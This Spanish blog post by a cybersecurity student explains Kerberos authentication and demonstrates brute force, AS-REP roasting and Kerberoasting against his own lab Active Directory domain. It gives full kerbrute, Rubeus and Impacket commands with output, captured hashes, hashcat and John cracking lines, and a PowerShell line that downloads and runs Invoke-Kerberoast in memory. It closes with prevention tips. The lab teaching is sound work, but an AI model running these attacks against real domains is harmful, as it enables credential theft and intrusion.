Kerberos
¿Qué es Kerberos?
Componentes clave
Lo primero que debemos saber y entender es la terminología.
1. Key Distribution Center (KDC): El KDC es el responsable de distribuir de forma segura claves simétricas a entidades dentro de una red, garantizando la confidencialidad e integridad de las comunicaciones.
Está compuesto por:
Authentication Server (AS): Es el primer paso en el proceso de autenticación de Kerberos. Verifica las credenciales del usuario, emite un TGT y establece la sesión Kerberos.
Ticket Granting Server (TGS): Es un servicio que emite tickets de servicio (TGS) a los clientes que presentan un TGT (Ticket Granting Ticket) válido.
2. Principal: Entidades que pueden ser autenticadas (usuarios o servicios).
3. Tickets: Mensajes cifrados que permiten el acceso a servicios.
Proceso de Autenticación
A continuación dejaré un diagrama generado por mi y otro diagrama que he sacado de internet, para así poder entenderlo mejor.
- Autenticación Inicial:
AS-REQ - Solicitud de TGT: El usuario envía su nombre de usuario al AS del KDC, junto con la autenticación (contraseña).
Creación de TGT: El AS verifica las credenciales. Si son correctas, genera un Ticket Granting Ticket (TGT) y una clave de sesión, cifrando ambos con la clave secreta del usuario.
AS-REP - Respuesta al Cliente: El TGT y la clave de sesión se envían al usuario. El TGT solo se puede descifrar usando la clave secreta del usuario.
- Solicitar Acceso a un Servicio:
TGS-REQ - Solicitud de TGS: El cliente envía el TGT al TGS, junto con una solicitud para un ticket de servicio (TGS).
Verificación del TGT: El TGS verifica la validez del TGT.
TGS-REQ - Emisión de Ticket de Servicio: Si es válido, emite un ticket de servicio, cifrado con la clave del servicio solicitado, e incluye una nueva clave de sesión.
- Acceso al Servicio:
AP-REQ - Presentación del Ticket: El cliente presenta el ticket de servicio al servidor del servicio.
AP-REP - Verificación del Ticket: El servidor descifra el ticket usando su clave secreta. Si es válido, se establece una sesión segura entre el cliente y el servidor, permitiendo el acceso al servicio.
Algunos de los ataques más efectuados a Kerberos:
Ataque de Fuerza Bruta Kerberos
ASREPRoast
Kerberoasting
Existen otros ataques (también bastante comunes) a Kerberos, como el Silver Ticket Attack, Golden Ticket Attack...
Ataque de Fuerza Bruta Kerberos
Como he mencionado anteriormente, Kerberos es un protocolo de autenticación, por lo que es posible realizar ataques de Fuerza Bruta y enumeración contra el mismo.
No necesitamos ningún tipo de privilegio para ejecutar este ataque, solo visibilidad del KDC.
Pero debemos tener precaución, ya que ejecutar este tipo de ataque se podrían bloquear cuentas de usuario del dominio objetivo debido a la existencia de diferentes políticas.
Para realizar este ataque usaremos la herramienta kerbrute y Rubeus.
Kerbrute también nos servirá para enumerar usuarios del dominio y a su vez probar credenciales en cada usuario.
A la hora de realizar la enumeración de usuarios envía solicitudes AS-REQ SIN pre-autenticación. Si el KDC responde con el error PRINCIPAL UNKNOWN
significa que ese usuario no existe en el dominio.
Ataque en Linux
Usamos la herramienta Kerbrute, un listado de usuarios y un listado de contraseñas.
[~/Kerberos/kerbrute] python3 kerbrute.py -domain elc4br4.local -users ../usuarios.txt -passwords ../contraseñas.txt
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Stupendous => Lil.Wayne:fuckyou1
[*] Saved TGT in Lil.Wayne.ccache
[*] Valid user => Kanye.West
[*] Valid user => SVC_SQLService
[*] Stupendous => SVC_SQLService:cristianoronaldo
[*] Saved TGT in SVC_SQLService.ccache
[*] Stupendous => Kanye.West:P@ssw0rd1234
[*] Saved TGT in Kanye.West.ccache
Como podemos ver, nos encuentra los usuarios válidos y las contraseñas de cada usuario del dominio.
Además de eso podemos ver que los tickets TGT los guarda en un archivo para su posterior uso si fuera necesario.
Ataque en Windows
En el caso de realizar el ataque desde un Sistema Operativo Windows podremos usar la herramienta Rubeus.
PS C:\Users\elc4br4\Desktop> .\Rubeus.exe brute /users:usuarios.txt /passwords:contraseñas.txt /domain:elc4br4.local
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Perform Kerberos Brute Force
[*] Using domain controller: 192.168.0.22:88
[+] STUPENDOUS => Kanye.West:P@ssw0rd1234
[*] Saved TGT into Kanye.West.kirbi
[*] Using domain controller: 192.168.0.22:88
[+] Valid user => SVC_SQLService
[*] Using domain controller: 192.168.0.22:88
[+] Valid user => Lil.Wayne
[*] Using domain controller: 192.168.0.22:88
[*] Using domain controller: 192.168.0.22:88
[+] STUPENDOUS => Lil.Wayne:fuckyou1
[*] Saved TGT into Lil.Wayne.kirbi
[*] Using domain controller: 192.168.0.22:88
[+] STUPENDOUS => SVC_SQLService:cristianoronaldo
[*] Saved TGT into SVC_SQLService.kirbi
[+] Done: Credentials should be saved in "elc4br4_contraseñas.txt"
De igual forma que en ataque de Kerbrute desde Linux podemos ver las credenciales que ha obtenido, así como los tickets que almacena.
ASREPRoast
El ataque ASREPRoast se basa en encontrar usuarios que NO REQUIEREN pre-autenticación de Kerberos.
Lo cual significa que cualquiera puede enviar una petición AS_REQ en nombre de uno de esos usuarios y recibir un mensaje AS_REP correcto. Esta respuesta contiene un pedazo del mensaje cifrado con la clave del usuario, que se obtiene de su contraseña. Por lo tanto, este mensaje se puede tratar de crackear offline para obtener las credenciales de dicho usuario.
- Para hacer que un usuario no requiera la pre-autenticación de Kerberos debemos realizar lo siguiente:
En mi caso voy a hacer que el usuario Lil.Wayne sea vulnerable al ataque ASREPRoast.
En la configuración de usuarios y equipos de Active Directory debemos dirigirnos a las propiedades del usuario, cuenta y marcar la siguiente casilla.
Una vez configurado, procedemos con el ataque.
Ataque en Linux
Para realizar este ataque usaré la herramienta impacket-GetNPUsers.py de la suite impacket.
[~/Kerberos] impacket-GetNPUsers elc4br4.local/ -usersfile usuarios.txt -format hashcat -outputfile hashes.asreproast
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
$krb5asrep$23$Lil.Wayne@ELC4BR4.LOCAL:6d58dde77058807f9dfcdc0fb11545e7$2cb078926bc0e03ff58b0a14a9a43cfbf88ecf6e7eefd94db7734da077cc35413ac4f8b25018ef7867a9dd126f829a7b5de262f984f41c98c2e9d014349843fb4782725809a1542a5a0798851a92ffd474250b71dad3fa33f505fbecede82f36eae3c8ba0d5bf1124ff17ed65793698451ef9cd9a5263dc8d10c1c7d282a2b0765df6063c49ff7479f90d34486c10646a2e75f8ddc88820cf5dd95a9b01ddff46df88d8447cdfcc4f4546d8dc5bf26a5a657cce1b25e34af0dc9c418aee9deac9cb9d697361fa6198b612144d476da4f261b0f63002f2691e482ebe97939a04b6a13f319c4d1dbda92d5879f9897
[-] User Kanye.West doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SVC_SQLService doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] invalid principal syntax
[~/Kerberos] cat hashes.asreproast
File: hashes.asreproast
$krb5asrep$23$Lil.Wayne@ELC4BR4.LOCAL:6d58dde77058807f9dfcdc0fb11545e7$2cb078926bc0e03ff58b0a14a9a43cfbf88ecf6e7eefd94db7734da077cc35413ac4f8b25018ef7867a9dd126f829a7b5de262f984
f41c98c2e9d014349843fb4782725809a1542a5a0798851a92ffd474250b71dad3fa33f505fbecede82f36eae3c8ba0d5bf1124ff17ed65793698451ef9cd9a5263dc8d10c1c7d282a2b0765df6063c49ff7479f90d34486c
10646a2e75f8ddc88820cf5dd95a9b01ddff46df88d8447cdfcc4f4546d8dc5bf26a5a657cce1b25e34af0dc9c418aee9deac9cb9d697361fa6198b612144d476da4f261b0f63002f2691e482ebe97939a04b6a13f319c4d1
dbda92d5879f9897
Tras finalizar, el script genera un fichero de salida con los mensajes AS_REP cifrados para craquear utilizando Hashcat o John The Ripper.
Ataque en Windows
De nuevo en Windows usaremos la herramienta Rubeus.
PS C:\Users\elc4br4\Desktop> .\Rubeus.exe asreproast /format:hashcat /outfile:elc4br4.asreproast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: AS-REP roasting
[*] Target Domain : elc4br4.local
[*] Searching path 'LDAP://DC01.elc4br4.local/DC=elc4br4,DC=local' for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
[*] SamAccountName : Lil.Wayne
[*] DistinguishedName : CN=Lil Wayne,CN=Users,DC=elc4br4,DC=local
[*] Using domain controller: DC01.elc4br4.local (fe80::1310:45dd:dab8:60ac%8)
[*] Building AS-REQ (w/o preauth) for: 'elc4br4.local\Lil.Wayne'
[+] AS-REQ w/o preauth successful!
[*] Hash written to C:\Users\elc4br4\Desktop\elc4br4.asreproast
[*] Roasted hashes written to : C:\Users\elc4br4\Desktop\elc4br4.asreproast
PS C:\Users\elc4br4\Desktop> type .\elc4br4.asreproast
$krb5asrep$23$Lil.Wayne@elc4br4.local:12825AC75DC642AC319E814DDFE0A299$ABD9EF719B146DCE8723715CE3F2DB138336FA9C687BE2B53E5349C453DB41800815B140D54CF4BEA3948C0D3FA05D7B090E7A16684BDD9E3583733ABD9220DF421A4FADFA1F6E579C729FCD400CD18729272117270E22727FCE6645C17203D27A1A6528B796D7386F1F99AD26BA6504DA308A34DBC5512160828B0B14A793DD96D4A44B4BA280483E5460CC835B6D5B425D5ABDFE126A1E1B698CA3BE4F03D5748E724BFA410662567DD0BDF46CB6630421849AEA0AE877D1AC12310EC02C83023E3FDE060361E0472E577F0DB84D3CA6B505E4E593665699D2B76C441BD5AC7E34E1DF1100DE5C8A17D7F69805
Craqueando los hashes
Ahora que hemos obtenido los hashes podemos descifrarlos para obtener las contraseñas en texto plano.
- Primero usaremos hashcat:
hashcat -m 18200 -a 0 --force hashes.asreproast /usr/share/wordlists/rockyou.txt
- A continuación usando John The Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.asreproast
Kerberoasting Attack
Kerberoasting es un ataque que permite obtener credenciales de cuentas de servicio en un entorno de Active Directory. El atacante solicita tickets de servicio (TGS) para servicios que conoce, los extrae y luego intenta descifrar las contraseñas utilizando ataques de fuerza bruta.
El atacante se hace pasar por un usuario de cuenta con un nombre principal de servicio (SPN) y solicita un ticket relacionado con el servicio.
Para poder efectuar este ataque necesitamos credenciales de alguna de las cuentas del dominio.
Para hacer que un usuario sea vulnerable a Kerberoasting debemos asignarle un valor SPN.
Un Service Principal Name (SPN) es un identificador único que se asocia con una instancia de un servicio ejecutándose en un servidor. Los SPNs son utilizados por Kerberos para autenticar de manera única a un servicio específico en la red. Al tener un SPN, Kerberos puede asociar un ticket de servicio (TGS) con la cuenta de servicio requerida para acceder a un recurso.
C:\Users\Administrador>setspn -a DC01/SVC_SQLService.elc4br4.local elc4br4.local\SVC_SQLService
Comprobando el dominio DC=elc4br4,DC=local
Registrando valores de ServicePrincipalName para CN=SVC SQLService,CN=Users,DC=elc4br4,DC=local
DC01/SVC_SQLService.elc4br4.local
Objeto actualizado
Una vez que ha sido configurado procedemos a la detección y ataque.
Ataque en Linux
Para efectuar este ataque desde Linux usaremos la herramienta GetUsersSPNs de la suite Impacket.
Recordemos que es necesario utilizar credenciales de algún usuario del dominio, por lo que usaré las descubiertas en los ataques anteriores.
impacket-GetUserSPNs elc4br4.local/Lil.Wayne:fuckyou1 -outputfile elc4br4_hashes_kerberoasting
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------- -------------- -------- -------------------------- -------------------------- ----------
DC01/SVC_SQLService.elc4br4.local SVC_SQLService 2024-09-23 13:01:46.194215 2024-09-23 18:03:12.275496
Y automáticamente se nos genera el TGS de los usuarios que sean vulnerables, en este caso SVC_SQLService.
$krb5tgs$23$*SVC_SQLService$ELC4BR4.LOCAL$elc4br4.local/SVC_SQLService*$9873ba92ca2a77173cb31703288577c3$f69531806c7416f8462306886c9e13d74394ebd7588e27ee93f60804681e9fbcb4be44bde06509c09c07fac21cadcb8e79ee3a143ce80c5f900fe5f8c249a585de67ec921943de72da580067f84b0be6824e1d34317c32f04faf8186b08e614656fef5627d3d0ed630efd9f7ac1ddbd281fce63fd9d8d15d7d355cdb7bd83fa11a3a3947a96f04b081ef0134fdd57b31239102b0b87da4b5bcdf51b45726887b2bb9be733a05dcbf07ca20561369cb3378e5c852ee599b605c7bde550ac5dac50689d9b97b02c5aa6bf38a5306276074c96ba1162b55bf27e6ab1787736ed722c76c79185edc6bb4c1c2c5d3b7dc615e83ee9542d37db74affbd6340d6edd73837980315f4ded69a18fe0951492717c58e5d8b6f86d67ae89b709640e25a43ed22d264cdcf177ffb32295c9d2a7204df35ada14d9896860ee5f119869c5664d78a2f6c131003e9be1f723c2348d542a057b80ac0f186120448bc48de1b6a9cf26178ade598a637c971e4eeab97760725e8669be4f167052795906c1207dfe11175264773edb0e89717d081c909b44d77f2d21f4b7bdf61c103cbc132505290b56db8e24b5072f143f62903bbe1a61a8985232acaea596432cee3e65b5751301b7cfa8dcac3d983cbd00d64ad50f401603e9236dd74788543f391d4d7709166caa7004b8e773b6f877bfb5b7025eed10095565ff81a5a831aeb7d5563a73e4a3942e9f22400c3bd4fb02459b00bd5ec588b710e360197b712f5f1a720819d442bdf5045b47880e25ea88caff0bbf609d3dd6393249e368e68f5872e1a6e30e37e1822656a1af7b5db710a31994aa860880cc6296f23177213398c6bdbcaf2e126e911f7c23c5ac6f91c9306e85a0323ab33e45bef678763b2c04872ab5d1299b6946e79f124f2442373be43090f5fbde2c1cbd9eb75afd8950ebe19ba8f45f6750bb2e9f5ddd92dd633f88d049100e9fff3a12a0fcb376678a921560b7c7a5b1f2018191064b8f2462b0d481c53f650d78aef253cc46c9bb51cea2c581cf04d0a88e4f8c4cf37ba3f18bd1bddeae720722b2b9a44e9b19a4f1e1509a1f405eadba11106abcd055c94c8fb76af2e66a06698e71d5c3905bc1c4fd584e5d91fb5b521efd9d4374c70ba5f7a21f9317cbded8b6d00e77b663a50a8daa230d7b657d7791bf98a679b6b17a0ed1da3927b55f142c0520aa451b8ae9f1c9149762b9ce2dee9e051e158578dacb587914226458fe97903ef4fd927249d4b3dd6889cbb62ebf28e5d0c8285d0c992df3fd17b35802dc0abc06ff3786f31ee84b05ece162159c197186f85e56eca9595c6307356c45e9a7528e9aceb2e651368e577bf28ebe9b73b0b05e1bde32d413d10983d8b412539ba78e7cd7231e6e19a9719fb63b048ead5cd30a3478ef56e9f0434672f056b35aac3e6925b3ac2a65a01cb038cca0cd2a510ab4bc27342fd0cb0785fcefead5a67ff0af66ab78d4b0fb335a54a4953ed2de409f24eef51b37d93a1c61adf639d19394a3db5
Tras obtener el TGS podríamos intentar craquearlo usando hashcat o John The Ripper.
Ataque en Windows
De nuevo usaremos Rubeus.
PS C:\Users\elc4br4\Desktop> .\Rubeus.exe kerberoast /outfile:elc4br4.kerberoast
Además de realizar el ataque con Rubeus, es posible realizarlo con el script Invoke-Kerberoast que se carga directamente en memoria.
PS C:\Users\elc4br4\Desktop> iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
PS C:\Users\elc4br4\Desktop> Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
PS C:\Users\elc4br4\Desktop> type .\hashes.kerberoast
$krb5tgs$23$*SVC_SQLService$elc4br4.local$DC01/SVC_SQLService.elc4br4.local*$C653E9DCA2EDB4B407D45F86896FF7F3$A9188C35CC75352B6FCF67A81BBEC7279EB1A6CC22CD164A9D0351632D2E1B207B312D409E6F099941FF4BE16FFA3AB8E95A0C61EADF2615EFF807E6B5F01CC4E4425C4B095A9FE12D67C804A50C19FC5F650FC7AED1EC82FC6F8363CF8FD3625265D03C8A916EDD9FC6C3AD0D3E3163EDFDF4EEA288BD15E3499436B4769AEC71B0ED37B865312CD99EEF86F46AF2451A07D67E2DDE5B3859A747C5D32C886A352F1133EF515F73E47E3ECF5D21E47A700EC660AA1F4845A960436AF8AF3A17EEB58F713A7DD94DE78476E619A38CE175D9DABBABDFFC988B16FD42F2CF5874C4B9D2CDE35B850673A723DB1C2336BD270D3B91CA68C32660EB3120900E1DC51CD4897FB184E0B4FCAD6FA2104D7C9F159CD14F5D2EF30C1C6EEC0C2E8E804D65C2ECE5F8B0FFE74775BEA42F3B402638803E1A47C506010CCBABA9EDF83B4185FEDDB20C1AC5CD7D5FCFCEA3D07736932198622A6FBEEC282CC2D70A0A873C53EC50EDABE84E86A2C370B8C774093AD334DDE01B33FD6457FC9A79EF88C055D2828314A56793E49D257F5F46A3F753FFA042F830650C0680E971F0AA4DF32741142FF552EFC5166345AFBEB5939A02F71C7709070CE3FDBB5C9B7FD8170CF0DCDE33551F81D47710DEDAF197EAE7185ABB058EE3E01A6886FBC36A16F2FBC60A0C3CDEB36277CE3E9AFEBF6FC1213B02E14C0301B214E6AEECD0C4240EE541C8729D67A816E666F32EBE0BB9807FA334CF42FC1EDA9273298706B3651EFDC6102376CEAFFF6AAACF49357D834D637D359739FB1E6947678AF03234A4D5DE4C5EEC498D98C3F1F5B81E1B844BDA11518FCBF642BE139D0FF09995961ED8DEA77B92C63D602DCFB89CF787962A3399F55A79B78D4E1CA6A6A52B3BB5995CFCA5602161AC844B99ED65285E7A74339B25A17F8F40F5998037FC7E797B46DDDA7C7287A6326D8FFB184CF3F471F1D003A4D88DCFB67C440BCC2CBE5A017E86980BED0305DC323F54BB4B6EA263B425AA70359C7F81A12DFE4F302F59ACDCD573EEBF241DE52300EF6685DB2FA5DDD14961079541CDD8CBB045E176D2B68CF1654F04A247FB4521A602802425809911B3BC468A68A5B7019C08698C6CF7146071C5E1D030D53AC280D085B8CBF8EAD56C5F115E0B65F965AEF48F84DF21F991EDE3DDBB36D30F205A0135264293B7CC7BE7C195B1D8E3B6E720E9BEB31BC6646B1A7794EC9DA4B6608A35DBDE58D49CDF3B7453260A0F3806C134963CB50C663080AA35283790A810AB6702757FAB672318131FEB63611B83DBD7106000AE812C251B1B92479116B70F6AE2914339C9EA14F6B70C4EC3C1F99113F44AB85E8CD5C52DCD74A438EC683AA5E946A130E3829ACBDE1E9A7406C95BE6ECB1FE367FD23351AE39C380C0912FD938CCA9F3E223712D5912CCE1660ABAB3A1B138FF3D55E65C1CD2B4FFE496C6663506132D6B345DB700D92BC20E302111F920544446EDE28C401E3299FEB6F6E9A68984EEEF8E13683CA5094764FF132C90E6E78EFE50BA816FF2E873FC778F1E5B15312A317AA16512BB5F4BF645278321EACBCC93023EF24AC822ED9877E9F686ACFCA5FD54A395FDAA92A53730D46B7FAF1D4C32331636CE82215D33654D30CC2F2840555C7A48CD7DE5B8D03C
Prevención de Ataques a Kerberos
Uso de contraseñas fuertes: Asegúrate de que todas las contraseñas de las cuentas de usuario sean robustas y cumplan con las políticas de seguridad.
Implementar políticas de caducidad de contraseñas: Configurar políticas que obliguen a los usuarios a cambiar sus contraseñas a menudo. Ayuda a mitigar el riesgo si una contraseña se ve comprometida.
Autenticación de múltiples factores (MFA).
Limitar los privilegios de los usuarios: Asegurarse que los usuarios solo tengan acceso a los recursos que necesitan para llevar a cabo sus tareas.
Usar tickets de corto tiempo de vida: Configura los tickets de Kerberos para que tengan un tiempo de vida corto.
Monitoreo y auditoría.
Proteger el Key Distribution Center (KDC): El KDC es un objetivo crítico en una infraestructura de Kerberos. Asegúrate de que esté protegido con firewalls, acceso restringido y monitoreo adecuado.
Uso de cifrado fuerte: Usar métodos de cifrado robustos para el tráfico entre los clientes y el KDC, así como para el almacenamiento de tickets.
Respaldo y recuperación.
Mantener sistemas actualizados.
Referencias
https://ciberseguridad.com/amenzas/ataques-kerberoasting/
https://www.fortinet.com/lat/resources/cyberglossary/kerberos-authentication
Subscribe to my newsletter
Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
elc4br4
elc4br4
Cybersecurity Student